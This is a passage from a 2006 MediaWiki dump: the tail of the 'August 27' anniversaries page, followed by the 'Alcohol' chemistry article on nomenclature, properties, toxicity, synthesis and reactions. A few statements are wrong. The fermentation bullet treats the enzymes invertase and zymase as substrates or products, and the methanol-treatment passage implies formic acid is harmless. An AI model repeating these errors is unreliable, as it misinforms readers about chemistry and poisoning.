*[[1906]] - [[Ed Gein]], American serial killer (d. [[1984]])
*[[1908]] - [[Sir Donald Bradman|Don Bradman]], Australian cricketer (d. [[2001]])
*1908 - [[Lyndon B. Johnson]], 36th [[President of the United States]] (d. [[1973]])
*1908 - [[Kurt Wegner]], German artist (d. [[1985]])
*[[1909]] - [[Lester Young]], American musician (d. [[1959]])
*[[1910]] - [[Mother Teresa]], Albanian missionary and humanitarian, recipient of the [[Nobel Peace Prize]] (d. [[1997]])
*[[1911]] - [[Kay Walsh]], British actress (d. [[2005]])
*[[1915]] - [[Norman F. Ramsey]], American physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate
*[[1916]] - [[Martha Raye]], American actress (d. [[1994]])
*[[1921]] - [[Leo Penn]], American film director-actor  (d. [[1998]])
*[[1926]] - [[Kristen Nygaard]], Norwegian mathematician, computer scientist, and politician (d. [[2002]])
*[[1928]] - [[Mangosuthu Buthelezi]], South African politician
*[[1929]] - [[Ira Levin]], American author
*[[1932]] - [[Antonia Fraser]], British author
*[[1935]] - [[Frank Yablans]], American film producer
*[[1937]] - [[Tommy Sands]], American actor and singer
*[[1940]] - [[Sonny Sharrock]], American jazz guitarist (d. [[1994]])
*[[1942]] - [[B. J. Thomas]], American singer
*[[1943]] - [[Tuesday Weld]], American actress
*[[1945]] - [[G.W. Bailey]], American actor
*[[1947]] - [[Barbara Bach]], American actress
*1947 - [[Harry Reems]], American actor
*[[1950]] - [[Charles Fleischer]], American actor
*[[1951]] - [[Buddy Bell]], baseball player-manager
*[[1952]] - [[Paul Reubens|Paul &quot;Pee-Wee Herman&quot; Reubens]], American actor
*[[1953]] - [[Peter Stormare]], Swedish-born actor
*[[1954]] - [[Derek Warwick]], British race car driver
*[[1955]] - [[Diana Scarwid]], American actress
*[[1957]] - [[Bernhard Langer]], German golfer
*[[1958]] - [[Tom Lanoye]], [[Belgian]] author
*1958 - [[Stalking Cat]], American body modificationist
*[[1959]] - [[Gerhard Berger]], Austrian race car driver
*[[1962]] - [[Adam Oates]], Canadian [[ice hockey]] player
*[[1963]] - [[Downtown Julie Brown]], Welsh television personality
*[[1965]] - [[Wayne James]], Zimbabwe cricketer
*[[1966]] - [[Juhan Parts]], [[Prime Minister of Estonia]]
*[[1969]] - [[Reece Shearsmith]], British actor and comedian
*[[1970]] - [[Peter Ebdon]], English snooker player
*1970 - [[Tony Kanal]], American-British musician ([[No Doubt]])
*1970 - [[Jim Thome]], baseball player
*[[1973]] - [[Dietmar Hamann]], German footballer
*[[1974]] - [[Jose Vidro]], Puerto Rican [[Major League Baseball]] player
*[[1974]] - [http://www.imdb.com/name/nm1595731/ Mike Chrzanowski], American Game Designer
*[[1975]] - [[Jonny Moseley]], American skier
*[[1976]] - [[Sarah Chalke]], Canadian actress
*1976 - [[Carlos Moya]], Spanish tennis player
*1976 - [[Mark Webber]], Australian race car driver
*[[1977]] - [[Deco]], Brazilian footballer
*[[1979]] - [[Tian Liang]], Chinese diver
*[[1988]] - [[Alexa Vega]], American actress

==Deaths==
*[[1312]] - [[Arthur II, Duke of Brittany]] (b. [[1262]])
*[[1394]] - [[Chokei]], Emperor of Japan (b. [[1343]])
*[[1450]] - [[Reginald West, 6th Baron De La Warr]], English politician (b. [[1395]])
*[[1521]] - [[Josquin Des Prez]], Flemish composer
*[[1545]] - [[Piotr Gamrat]], Polish Catholic archbishop (b. [[1487]])
*[[1572]] - [[Claude Goudimel]], French composer
*[[1577]] - [[Titian]], Italian artist
*[[1590]] - [[Pope Sixtus V]] (b. [[1521]])
*[[1635]] - [[Félix Lope de Vega]], Spanish poet and playwright (b. [[1562]])
*[[1664]] - [[Francisco Zurbarán]], Spanish painter (b. [[1598]])
*[[1748]] - [[James Thomson (Seasons)|James Thomson]], Scottish poet (b. [[1700]])
*[[1773]] - [[Friedrich Wilhelm von Seydlitz]], Prussian general (b. [[1721]])
*[[1875]] - [[William Chapman Ralston]], American banker (b. [[1826]])
*[[1909]] - [[Emil Christian Hansen]], Danish fermentation physiologist (b. [[1842]])
*[[1929]] - [[Herman Potocnik|Herman Poto&amp;#269;nik Noordung]], Slovenian rocket scientist (b. [[1892]])
*[[1931]] - [[Frank Harris]], Irish author and editor (b. [[1856]])
*1931 - [[Francis Marion Smith]], American borax magnate (b. [[1846]])
*[[1948]] - [[Charles Evans Hughes]], U.S. Supreme Court justice (b. [[1862]])
*[[1958]] - [[Ernest Lawrence]], American physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1901]])
*[[1963]] - [[Garrett Morgan]], American inventor (b. [[1877]])
*1963 - [[W.E.B. DuBois]], American civil rights activist and scholar (b. [[1868]])
*[[1964]] - [[Gracie Allen]], American actress and comedienne
*[[1965]] - [[Le Corbusier]], Swiss architect (b. [[1887]])
*[[1967]] - [[Brian Epstein]], English manager of [[The Beatles]] (b. [[1934]])
*[[1968]]  - [[Princess Marina of Greece and Denmark|Princess Marina, Duchess of Kent]] (b. [[1906]])
*[[1969]] - [[Ivy Compton-Burnett]], English novelist (b. [[1884]])
*1969 - [[Erika Mann]], German writer and daughter of [[Thomas Mann]] (b. [[1905]])
*[[1971]] - [[Bennett Cerf]], American publisher and television personality (b. [[1898]])
*[[1975]] - [[Haile Selassie]] I, [[Emperor of Ethiopia]] (b. [[1892]])
*[[1976]] - [[Mukesh]], Indian playback singer (b. [[1923]])
*[[1979]] - [[Earl Mountbatten]], British admiral and statesman (assassinated) (b. [[1900]])
*[[1980]] - [[Douglas Kenney]], American humorist (b. [[1947]])
*[[1988]] - [[William Sargant]], British psychiatrist (b. [[1907]])
*[[1990]] - [[Stevie Ray Vaughan]], American guitarist (b. [[1954]])
*[[1997]] - [[Brandon Tartikoff]], American television producer (b. [[1949]])
*[[2002]] - [[Richard Ricci]], American handyman wrongly suspected of being a kidnapper in the Elizabeth Smart case (b. [[1953]])
*[[2003]] - [[Pierre Poujade]], French politician (b. [[1920]])
*[[2004]] - [[Willie Crawford]], baseball player (b. [[1946]])

==Holidays and observances==
*[[Roman festivals]] - [[Volturnalia]] held in honor of [[Volturnus]]
*[[Calendar of Saints|RC Saints]] - Saint [[Monica of Hippo]]
*[[Moldova]] - Independence Day (from the USSR, [[1991]])

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/27 BBC: On This Day]

----

[[August 26]] - [[August 28]] - [[July 27]] - [[September 27]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:27 Augustus]]
[[ar:27 أغسطس]]
[[an:27 d'agosto]]
[[ast:27 d'agostu]]
[[bg:27 август]]
[[be:27 жніўня]]
[[bs:27. august]]
[[ca:27 d'agost]]
[[ceb:Agosto 27]]
[[cv:Çурла, 27]]
[[co:27 d'aostu]]
[[cs:27. srpen]]
[[cy:27 Awst]]
[[da:27. august]]
[[de:27. August]]
[[et:27. august]]
[[el:27 Αυγούστου]]
[[es:27 de agosto]]
[[eo:27-a de aŭgusto]]
[[eu:Abuztuaren 27]]
[[fo:27. august]]
[[fr:27 août]]
[[fy:27 augustus]]
[[ga:27 Lúnasa]]
[[gl:27 de agosto]]
[[ko:8월 27일]]
[[hr:27. kolovoza]]
[[io:27 di agosto]]
[[id:27 Agustus]]
[[ia:27 de augusto]]
[[ie:27 august]]
[[is:27. ágúst]]
[[it:27 agosto]]
[[he:27 באוגוסט]]
[[jv:27 Agustus]]
[[ka:27 აგვისტო]]
[[csb:27 zélnika]]
[[ku:27'ê gelawêjê]]
[[lt:Rugpjūčio 27]]
[[lb:27. August]]
[[hu:Augusztus 27]]
[[mk:27 август]]
[[ms:27 Ogos]]
[[nap:27 'e aùsto]]
[[nl:27 augustus]]
[[ja:8月27日]]
[[no:27. august]]
[[nn:27. august]]
[[oc:27 d'agost]]
[[pl:27 sierpnia]]
[[pt:27 de Agosto]]
[[ro:27 august]]
[[ru:27 августа]]
[[sco:27 August]]
[[sq:27 Gusht]]
[[scn:27 di austu]]
[[simple:August 27]]
[[sk:27. august]]
[[sl:27. avgust]]
[[sr:27. август]]
[[fi:27. elokuuta]]
[[sv:27 augusti]]
[[tl:Agosto 27]]
[[tt:27. August]]
[[te:ఆగష్టు 27]]
[[th:27 สิงหาคม]]
[[vi:27 tháng 8]]
[[tr:27 Ağustos]]
[[uk:27 серпня]]
[[wa:27 d' awousse]]
[[war:Agosto 27]]
[[zh:8月27日]]
[[pam:Agostu 27]]</text>
    </revision>
  </page>
  <page>
    <title>Alcohol</title>
    <id>1014</id>
    <revision>
      <id>42102518</id>
      <timestamp>2006-03-03T21:15:39Z</timestamp>
      <contributor>
        <username>Jidan</username>
        <id>258229</id>
      </contributor>
      <text xml:space="preserve">:''This article is about organic compounds containing -OH groups. For other uses, see [[Alcohol (disambiguation)]].''

In [[chemistry]], '''alcohol''' is any [[organic compound]] in which a [[hydroxyl]] [[Functional group|group]] (''-[[oxygen|O]][[hydrogen|H]]'') is bound to a [[carbon]] atom, which in turn is bound to other [[hydrogen]] and/or [[carbon]] atoms.  The general formula for a simple [[acyclic]] alcohol is '''C&lt;sub&gt;n&lt;/sub&gt;H&lt;sub&gt;2n+1&lt;/sub&gt;OH'''.

In general usage, '''alcohol''' refers almost always to [[ethanol]], also known as '''grain alcohol''', and often to any beverage that contains ethanol (see ''[[alcoholic beverage]]''). This sense underlies the term [[alcoholism]] ([[addiction]] to alcohol). As a [[Medication|drug]], ethanol is known to have a [[depressant|depressing effect]] that decreases the responses of the [[central nervous system]] (see [[effects of alcohol on the body]]).  Other forms of alcohol are usually described with a clarifying adjective, as in ''[[isopropyl alcohol]]'' or by the suffix ''-ol'', as in ''isopropanol''.

The word dates to the 16th century when it was used to refer to any chemical substance arrived at by sublimation.  This derived from the [[Medieval Latin]] ''alcohol'' (&quot;powdered ore of [[antimony]]&quot;), originating from [[Arabic language|Arabic]] ''{{ArabDIN|al-kuḥūl}}'' ({{ar|&amp;#1575;&amp;#1604;&amp;#1603;&amp;#1581;&amp;#1608;&amp;#1604;}}), which is also the source of ''[[kohl (cosmetics)|kohl]]'' and related to the root ''k-ḥ-l'', attested in the [[Arabic]] word for eye makeup.

== Structure ==
[[Image:alcohol_general.jpg|150px|right|An alcohol]]

The [[functional group]] of an alcohol is a [[hydroxyl group]] bonded to an sp³ hybridized carbon. It can therefore be regarded as a derivative of [[water_(molecule)|water]], with an [[alkyl]] group replacing one of the hydrogens. If an [[aryl]] group is present rather than an alkyl, the compound is generally called a [[phenol]] rather than an alcohol.  Also, if the [[hydroxyl group]] is bonded to one of the sp² hybridized carbons of an alkenyl group, the compound is referred to as an [[enol]].  The oxygen in an alcohol has a bond angle of around 109&amp;deg; (c.f. 104.5&amp;deg; in water), and two nonbonded electron pairs. The O-H bond in methanol (CH&lt;sub&gt;3&lt;/sub&gt;OH) is around 96 pico[[metre]]s long.

=== Primary, secondary, and tertiary alcohols ===
There are three major subsets of alcohols- 'primary' (1°), 'secondary' (2°) and 'tertiary' (3°), based upon the number of carbons the C-OH carbon (shown in red) is bonded to. [[Methanol]] is the simplest 'primary' alcohol.  The simplest secondary alcohol is [[isopropanol]] (propan-2-ol), and a simple tertiary alcohol is ''tert''-[[butanol]] (2-methylpropan-2-ol).

[[Image:alcohol_common.jpg|450px|Some common alcohols]]

=== Methanol &amp; ethanol ===
The simplest and most commonly used alcohols are [[methanol]] and [[ethanol]] (common names [[methyl]] alcohol and [[ethyl]] alcohol, respectively), which have the structures shown above.

Methanol was formerly obtained by the distillation of wood, and was called &quot;wood alcohol&quot;.  It is now a cheap commodity chemical produced by the high pressure reaction of [[carbon monoxide]] with [[hydrogen]]. In common usage, &quot;alcohol&quot; often refers simply to ethanol or &quot;grain alcohol&quot;. [[Methylated spirits]] (&quot;Meths&quot;), also called &quot;surgical spirits&quot;, is a form of ethanol rendered undrinkable by the addition of methanol. Aside from its major use in alcoholic beverages, ethanol is also used (though highly controlled) as an industrial solvent and raw material.

== Uses ==
Alcohols are in wide use in industry and science as reagents, [[solvent]]s, and [[alcohol as a fuel|fuel]]s. Ethanol and methanol can be made to burn more cleanly than [[gasoline]] or [[diesel]]. Because of its low toxicity and ability to dissolve non-polar substances, ethanol is often used as a solvent in medical drugs, [[perfume]]s, and vegetable essences such as [[vanilla]]. In [[organic synthesis]], alcohols frequently serve as versatile intermediates.

Ethanol is also commonly used in beverages after fermentation to promote flavor or induce a euphoric intoxication commonly known as &quot;drunkenness&quot; or &quot;being drunk&quot;. The use of ethanol for this purpose is illegal in some jurisdictions. In such instances of consumption, alcohol is a [[Psychoactive drug|drug]], with immediate potential for overdose, toxic poisoning, and physiological dependency (known as [[alcoholism]]). Alcoholism has become one of the most common drug addictions (if not second to caffeine) in the world. The physiological dependency caused by alcoholism means that the user experiences physical withdrawal (in the form of a headache known as a &quot;[[hangover]],&quot; extremely high anxiety known as &quot;the shakes,&quot; and restlessness or trouble sleeping) upon cessation or decrease of use. For the full article on this topic see [[effects of alcohol on the body]].

Because of such particular uses, historically, ethanol has been regulated by taxation. Those who manufacture it for other purposes often avoid this expense by &quot;denaturing&quot; it in a manner that renders it unfit for drinking.  A common way to do this is by the addition of [[denatonium benzoate]]. &quot;SD-40&quot; and &quot;SD Alcohol&quot; sometimes followed by &quot;40-B&quot; are designations that were established by the [[Bureau of Alcohol, Tobacco, and Firearms]] for this formulation.

== Sources ==
Many alcohols can be created by [[fermentation]] of [[fruit]]s or [[cereal|grain]]s with [[yeast]], but only ethanol is commercially produced this way, chiefly for [[alcohol as a fuel|fuel]] and [[alcoholic beverage|drink]]. Other alcohols are generally produced by synthetic routes from [[natural gas]], [[petroleum]], or [[coal]] feed stocks, for example via acid catalyzed [[hydration reaction|hydration]] of [[alkene]]s.  For more details see [[#Chemistry of alcohols|Chemistry of alcohols]]

== Nomenclature ==
=== Systematic names ===
In the [[IUPAC nomenclature|IUPAC]] system, the name of the alkane chain loses the terminal &quot;e&quot; and adds &quot;ol&quot;, e.g. &quot;methanol&quot; and &quot;ethanol&quot;. When necessary, the position of the hydroxyl group is indicated by a number between the alkane name and the &quot;ol&quot;: [[propan-1-ol]] for CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;OH, [[Isopropyl alcohol|propan-2-ol]] for CH&lt;sub&gt;3&lt;/sub&gt;CH(OH)CH&lt;sub&gt;3&lt;/sub&gt;. Sometimes, the position number is written before the IUPAC name: 1-propanol and 2-propanol. If a higher priority group is present (such as an [[aldehyde]], [[ketone]] or [[carboxylic acid]]), then it is necessary to use the prefix &quot;hydroxy&quot;, for example: 1-hydroxy-2-propanone (CH&lt;sub&gt;3&lt;/sub&gt;COCH&lt;sub&gt;2&lt;/sub&gt;OH).

Some examples of simple alcohols and how to name them:

[[Image:Alcohol_examples.gif|550px|Examples of alcohols &amp; their names]]

Common names for alcohols usually take the name of the corresponding [[alkyl]] group and add the word &quot;alcohol&quot;, e.g. [[methyl]] alcohol, [[ethyl]] alcohol or [[Butyl|''tert''-butyl]] alcohol.  [[Propyl]] alcohol may be ''n''-propyl alcohol or isopropyl alcohol depending on whether the hydroxyl group is bonded to the 1st or 2nd carbon on the propane chain. Isopropyl alcohol is also occasionally called ''sec''-propyl alcohol.

As mentioned above alcohols are classified as primary (1°), secondary (2°) or tertiary (3°), and common names often indicate this in the alkyl group prefix. For example (CH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;COH is a tertiary alcohol is commonly known as ''tert''-butyl alcohol. This would be named 2-methylpropan-2-ol under IUPAC rules, indicating a propane chain with methyl and hydroxyl groups both attached to the middle (#2) carbon.

An alcohol with two hydroxyl groups is commonly called a &quot;glycol&quot;, e.g. HO-CH&lt;sub&gt;2&lt;/sub&gt;-CH&lt;sub&gt;2&lt;/sub&gt;-OH is [[ethylene glycol]]. The IUPAC name is ethane-1,2-diol, &quot;diol&quot; indicating two hydroxyl groups, and 1,2 indicating their bonding positions. Geminal glycols (with the two hydroxyls on the same carbon atom), such as ethane-1,1-diol, are generally unstable.  For three or four groups, &quot;triol&quot; and &quot;tetraol&quot; are used.

=== Etymology ===
The word &quot;alcohol&quot; almost certainly comes from the [[Arabic language]] (the &quot;al-&quot; prefix being the Arabic definite article); however, the precise origin is unclear. It was introduced into [[Europe]], together with the art of [[distillation]] and the substance itself, around the [[12th century]] by various European authors who translated and popularized the discoveries of [[Islamic]] [[alchemy|alchemists]].

A popular theory, found in many dictionaries, is that it comes from &amp;#1575;&amp;#1604;&amp;#1603;&amp;#1581;&amp;#1604; = ''ALKHL'' = ''al-kuhul'', originally the name of very finely powdered [[antimony]] [[sulfide]] [[antimony|Sb]]&lt;sub&gt;2&lt;/sub&gt;[[sulfur|S]]&lt;sub&gt;3&lt;/sub&gt; used as an [[antiseptic]] and [[eyeliner]]. The powder is prepared by [[sublimation (physics)|sublimation]] of the natural mineral [[stibnite]] in a closed vessel.  According to this theory, the meaning of ''alkuhul'' would have been first extended to distilled substances in general, and then narrowed to ethanol. This conjectured etymology has been circulating in England since [[1672]] at least ([[Oxford English Dictionary|OED]]).

However, this derivation is suspicious since the current Arabic name for alcohol,  &amp;#1575;&amp;#1604;&amp;#1603;&amp;#1581;&amp;#1608;&amp;#1604; = ''ALKHWL'' = ''al???'', does not derive from ''al-kuhul''. The [[Qur'an]] in verse 37:47 uses the word &amp;#1575;&amp;#1604;&amp;#1594;&amp;#1608;&amp;#1604; = ''ALGhWL'' = ''al-ghawl'' &amp;mdash; properly meaning &quot;spirit&quot; (&quot;[[spiritual being]]&quot;) or &quot;[[demon]]&quot; &amp;mdash; with the sense &quot;the thing that gives the wine its headiness&quot;. The word ''al-ghawl'' also originated the [[English language|English]] word &quot;ghoul&quot;, and the name of the star [[Algol]]. This derivation would, of course, be consistent with the use of &quot;spirit&quot; or &quot;spirit of wine&quot; as synonymous of &quot;alcohol&quot; in most Western languages.  (Incidentally, the etymology &quot;alcohol&quot; = &quot;the devil&quot; was used in the [[1930s]] by the [[United States|U.S.]] [[Temperance movement|Temperance Movement]] for propaganda purposes.)

According to the second theory, the popular etymology and the spelling &quot;alcohol&quot; would not be due to generalization of the meaning of ''ALKHL'', but rather to Western alchemists and authors confusing the two words ''ALKHL'' and ''ALGhWL'', which have indeed been transliterated in many different and overlapping ways.

== Physical and chemical properties ==
The [[hydroxyl group]] generally makes the alcohol molecule [[polar molecule|polar]]. Those groups can form [[hydrogen bond]]s to one another and to other compounds. Two opposing solubility trends in alcohols are: the tendency of the polar OH to promote solubility in water, and of the carbon chain to resist it. Thus, methanol, ethanol, and propanol are miscible in water because the hydroxyl group wins out over the short carbon chain. [[Butanol]], with a four-carbon chain, is moderately soluble because of a balance between the two trends.  Alcohols of five or more carbons ([[amyl alcohol|Pentanol]] and higher) are effectively insoluble because of the hydrocarbon chain's dominance.

Because of [[hydrogen bonding]], alcohols tend to have higher boiling points than comparable [[hydrocarbon]]s and [[ether]]s. All simple alcohols are miscible in organic solvents. This hydrogen bonding means that alcohols can be used as [[protic solvent]]s.

The lone pairs of electrons on the oxygen of the hydroxyl group also makes alcohols nucleophiles.

Alcohols, like water, can show either acidic or basic properties at the O-H group.  With a [[pKa|pK&lt;Sub&gt;a&lt;/sub&gt;]] of around 16-19 they are generally slightly weaker [[acid]]s than [[water (molecule)|water]], but they are still able to react with strong bases such as [[sodium hydride]] or reactive metals such as [[sodium]].  The salts that result are called '''[[alkoxide]]s''', with the general formula [[Alkyl|R]]O&lt;sup&gt;-&lt;/sup&gt; [[Metal|M]]&lt;sup&gt;+&lt;/sup&gt;.

Alcohols conjugated to aromatic rings have a lower pKa (around 10). Electron-withdrawing groups also work to make alcohols more acidic. For example, Para-nitro phenol has a pKa of 7.15.

Meanwhile the oxygen atom has [[lone pair]]s of nonbonded electrons that render it weakly [[Base_(chemistry)|basic]] in the presence of strong acids such as [[sulfuric acid]].  For example, with methanol:

[[Image:methanol_acid_base.gif|500px|Acidity &amp; basicity of methanol]]

Alcohols can also undergo [[oxidation]] to give [[aldehyde]]s, [[ketone]]s or [[carboxylic acid]]s, or they can be dehydrated to [[alkene]]s.  They can react to form [[ester compound]]s, and they can (if activated first) undergo [[nucleophilic substitution]] reactions. For more details see the [[#Chemistry of alcohols]] section below.

== Toxicity ==
Alcohols often have an odor described as 'biting' that 'hangs' in the nasal passages. [[Ethanol]] in the form of [[alcoholic beverage]]s has been consumed by humans since pre-historic times, for a variety of hygienic, dietary, medicinal, religious, and recreational reasons. While infrequent consumption of ethanol in small quantities may be harmless or even beneficial, larger doses result in a state known as [[drunkenness]] or intoxication and, depending on the dose and regularity of use, can cause acute respiratory failure or death and with chronic use has medical repercussions.

Other alcohols are substantially more poisonous than ethanol, partly because they take much longer to be metabolized, and often their metabolism produces even more toxic substances. Methanol, or ''wood alcohol'', for instance, is oxidized by [[alcohol dehydrogenase]] [[enzyme]]s in the liver to the poisonous [[formaldehyde]], which can cause blindness or death. 

An effective treatment to prevent formaldehyde toxicity after methanol ingestion is to administer ethanol. This will bind to alcohol dehydrogenase, preventing methanol from binding and thus acting as a [[substrate]]. Any formaldehyde will be converted to [[formic acid]] and excreted before it causes damage.

==  Preparation of alcohols ==
=== Laboratory ===
Several methods exist for the preparation of alcohols in the laboratory.
* Primary [[Alkyl halide]]s react with aqueous [[Sodium hydroxide|NaOH]] or [[Potassium hydroxide|KOH]] mainly to primary alcohols in [[nucleophilic aliphatic substitution]]. (Secondary and especially tertiary alkyl halides will give the elimination (alkene) product instead).
* [[Aldehydes]] or [[ketone]]s are [[reduction|reduced]] with [[sodium borohydride]] or [[lithium aluminium hydride]]. (after an acidic workup)
* [[Alkenes]] engage in a [[acid]] catalysed [[hydration reaction]] using concentrated [[sulfuric acid]] as a catalyst which gives usually secondary or tertiary alcohols.
* The [[hydroboration-oxidation]] and [[oxymercuration-reduction]] of alkenes are more reliable in organic synthesis.
* [[Grignard reagent]]s react with [[carbonyl]] groups to secondary and tertiary alcohols

The formation of a secondary alcohol via reduction and hydratation is shown:

[[Image:alcohol_prep.gif|center|350px|Preparation of a secondary alcohol]]

=== Industrial ===
Industrially alcohols are produced in several ways.
* by [[fermentation]] using [[glucose]] produced from sugar from the [[hydrolysis]] of [[starch]], in the presence of yeast and temperature of less than 37°C to produce ethanol. For instance the conversion of [[invertase]] to [[glucose]] and [[fructose]] or the conversion of [[glucose]] to [[zymase]] and [[ethanol]].
* By direct [[hydration reaction|hydration]]: using [[ethene]] or other alkenes from [[cracking]] of fractions of distilled [[crude oil]]. Uses a catalyst of [[phosphoric acid]] under high temperature and pressure.
* [[Methanol]] is producted from water gas: It is manufactured from [[Syngas|synthesis gas]], where [[carbon monoxide]] and 2 equivalents of hydrogen gas are combined to produce [[methanol]] using a [[copper]], [[zinc oxide]] and [[aluminium oxide]] catalyst at 250°C and a pressure of 50-100 atm.

== Reactions of alcohols ==
=== Deprotonation ===
Alcohols can behave as weak acids, undergoing deprotonation. The deprotonation reaction to produce an [[alkoxide]] salt is either performed with a strong base such as [[sodium hydride]] or [[butyllithium|''n''-butyllithium]], or with sodium or potassium metal.

: 2 R-OH + 2 [[Sodium hydride|NaH]]  &amp;rarr;  2 R-O&lt;sup&gt;-&lt;/sup&gt;Na&lt;sup&gt;+&lt;/sup&gt;  +  [[Hydrogen|H&lt;sub&gt;2&lt;/sub&gt;]]&amp;uarr;

: 2 R-OH + 2[[Sodium|Na]] &amp;rarr; 2R-O&lt;sup&gt;&amp;minus;&lt;/sup&gt;Na&lt;sup&gt;+&lt;/sup&gt;

: e.g. 2 [[Ethanol|CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;-OH]] + 2 Na  &amp;rarr;  2 CH&lt;sub&gt;3&lt;/sub&gt;-CH&lt;sub&gt;2&lt;/sub&gt;-O&lt;sup&gt;&amp;minus;&lt;/sup&gt;Na&lt;sup&gt;+&lt;/sup&gt;

Water is similar in [[pKa|pK&lt;Sub&gt;a&lt;/sub&gt;]] to many alcohols, so with [[sodium hydroxide]] there is an equilibrium set up which usually lies to the left:

: R-OH + [[Sodium hydroxide|NaOH]]  &lt;=&gt;  R-O&lt;sup&gt;-&lt;/sup&gt;Na&lt;sup&gt;+&lt;/sup&gt;  +  H&lt;sub&gt;2&lt;/sub&gt;O (equilibrium to the left)

It should be noted, though, that the bases used to deprotonate alcohols are strong themselves. The bases used and the alkoxides created are both highly moisture sensitive chemical reagents.

=== Nucleophilic substitution ===
The [[hydroxyl|OH]] group is not a good [[leaving group]] in [[nucleophilic substitution]] reactions, so neutral alcohols do not react in such reactions.  However if the oxygen is first protonated to give R&amp;minus;OH&lt;sub&gt;2&lt;/sub&gt;&lt;sup&gt;+&lt;/sup&gt;, the leaving group ([[water_(molecule)|water]]) is much more stable, and nucleophilic substitution can take place.  For instance, tertiary alcohols react with [[hydrochloric acid]] to produce tertiary [[alkyl halide]]s, where the [[hydroxyl group]] is replaced by a [[chlorine]] atom.  If primary or secondary alcohols are to be reacted with [[hydrochloric acid]], an activator such as [[zinc chloride]] is needed.  Alternatively  the conversion may be performed directly using [[thionyl chloride]].&lt;sup&gt;[1]&lt;/sup&gt;

[[Image:Alcohol_reaction_examples.gif|550px|Some simple conversions of alcohols to alkyl chlorides]]

Alcohols may likewise be converted to alkyl bromides using [[hydrobromic acid]] or [[phosphorus tribromide]], for example:

: 3 R-OH  +  PBr&lt;sub&gt;3&lt;/sub&gt;  &amp;rarr;  3 RBr  +  H&lt;sub&gt;3&lt;/sub&gt;PO&lt;sub&gt;3&lt;/sub&gt;

In the [[Barton-McCombie deoxygenation]] an alcohol is deoxygenated to an [[alkane]] with [[organotin|tributyltin hydride]] or a [[organoborane|trimethylborane]]-water complex in a [[radical substitution]] reaction.

=== Dehydration ===
Alcohols are themselves nucleophilic, so R&amp;minus;OH&lt;sub&gt;2&lt;/sub&gt;&lt;sup&gt;+&lt;/sup&gt; can react with ROH to produce [[ether]]s and water in a [[dehydration reaction]], although this reaction is rarely used except in the manufacture of [[diethyl ether]].

More useful is the E1 [[elimination reaction]] of alcohols to produce [[alkene]]s.  The reaction generally obeys [[Zaitsev's Rule]], which states that the most stable (usually the most substituted) alkene is formed.  Tertiary alcohols eliminate easily at just above room temperature, but primary alcohols requre a higher temperature.

This is a diagram of acid catalysed dehydration of ethanol to produce [[ethene]]:

[[image:DehydrationOfAlcoholWithH-.png|550px]]

=== Esterification ===
To form an [[ester]] from an [[alcohol]] and a [[carboxylic acid]] the reaction, known as [[Fischer esterification]], is usually performed at [[reflux]] with a [[catalyst]] of concentrated [[sulfuric acid]]:

: R-OH  +  R'-COOH  &lt;math&gt;\Leftrightarrow&lt;/math&gt;  R'-COOR  +  H&lt;sub&gt;2&lt;/sub&gt;O

In order to drive the equilibrium to the right and produce a good [[yield_(chemistry)|yield]] of ester, water is usually removed, either by an excess of H&lt;sub&gt;2&lt;/sub&gt;SO&lt;sub&gt;4&lt;/sub&gt; or by using a [[Dean-Stark apparatus]].  Esters may also be prepared by reaction of the alcohol with an [[acid chloride]] in the presence of a base such as [[pyridine]].

Other types of ester are prepared similarly- for example [[tosyl]] (tosylate) esters are made by reaction of the alcohol with p-[[toluenesulfonyl]] chloride in pyridine.

=== Oxidation===
Primary alcohols generally give [[aldehyde]]s or [[carboxylic acid]]s upon [[organic oxidation|oxidation]], while secondary alcohols give [[ketone]]s. Traditionally strong [[Redox|oxidants]] such as the [[dichromate]] ion or [[potassium permanganate]] are used, under acidic conditions, for example:

:3 [[Isopropanol|CH&lt;sub&gt;3&lt;/sub&gt;-CH(-OH)-CH&lt;sub&gt;3&lt;/sub&gt;]]  +  [[Potassium dichromate|K&lt;sub&gt;2&lt;/sub&gt;Cr&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;7&lt;/sub&gt;]]  +  4 [[Sulfuric acid|H&lt;sub&gt;2&lt;/sub&gt;SO&lt;sub&gt;4&lt;/sub&gt;]]  &amp;rarr;  3 [[Acetone|CH&lt;sub&gt;3&lt;/sub&gt;-C(=O)-CH&lt;sub&gt;3&lt;/sub&gt;]]  +  Cr&lt;sub&gt;2&lt;/sub&gt;(SO&lt;sub&gt;4&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;  +  K&lt;sub&gt;2&lt;/sub&gt;SO&lt;sub&gt;4&lt;/sub&gt;  +  7 [[Water_(molecule)|H&lt;sub&gt;2&lt;/sub&gt;O]]

Frequently in [[aldehyde]] preparations these reagents cause a problem of over-oxidation to the [[carboxylic acid]]. To avoid this, other reagents such as [[Pyridinium chlorochromate|PCC]], [[Dess-Martin periodinane]], [[2-Iodoxybenzoic acid]], [[TPAP]] or methods such as [[Swern oxidation]] are now preferred.

Alcohols with a [[methyl]] group attached to the alcohol carbon can also undergo a [[haloform reaction]] (such as the [[iodoform reaction]]) in the presence of the [[halogen]] and a base such as sodium hydroxide.

Tertiary alcohols resist oxidation, but can be oxidised by reagents such as 2,3-dichloro-5,6-dicyano-1,4-benzoquinone.

== See also ==
* [[Alcohol as a fuel]]
* [[Alcoholic beverage]]
* [[Effects of alcohol on the body]]
* [[Transesterification]]
* [[Sugar alcohol]]s
* [[Fatty alcohol]]s

== References ==
* [http://sci-toys.com/ingredients/alcohol.html Sci-toys website explanation of denatured alcohol designations]

== External links ==
{{wikiquote}}

* [http://www.french-paradox.net/fpbksb1.html What Is Alcohol, Anyway?] Interesting information about alcohols.

[[Category:Alcohol|*]]
[[Category:Alcohols|*]]
[[Category:Drugs]]
[[Category:Antiseptics]]
[[Category:Arabic words]]
[[Category:functional groups]]

[[ar:أغوال ( كيمياء عضوية )]]
[[bg:Алкохол]]
[[be:Сьпірт]]
[[ca:Alcohol]]
[[cs:Alkohol]]
[[da:Alkanol]]
[[de:Alkohol (Chemie)]]
